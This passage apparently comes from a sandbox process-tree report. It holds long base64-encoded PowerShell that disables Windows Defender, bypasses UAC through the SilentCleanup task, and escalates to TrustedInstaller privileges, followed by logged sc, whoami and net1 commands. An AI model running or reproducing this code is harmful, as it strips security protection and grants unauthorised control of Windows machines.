AbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                            6⤵
                              PID:9532
                              • C:\Windows\system32\sc.exe
                                "C:\Windows\system32\sc.exe" qc windefend
                                7⤵
                                • Launches sc.exe
                                PID:11724
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                7⤵
                                  PID:12328
                                • C:\Windows\system32\whoami.exe
                                  "C:\Windows\system32\whoami.exe" /groups
                                  7⤵
                                    PID:5312
                                  • C:\Windows\system32\net1.exe
                                    "C:\Windows\system32\net1.exe" start TrustedInstaller
                                    7⤵
                                      PID:9608
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAF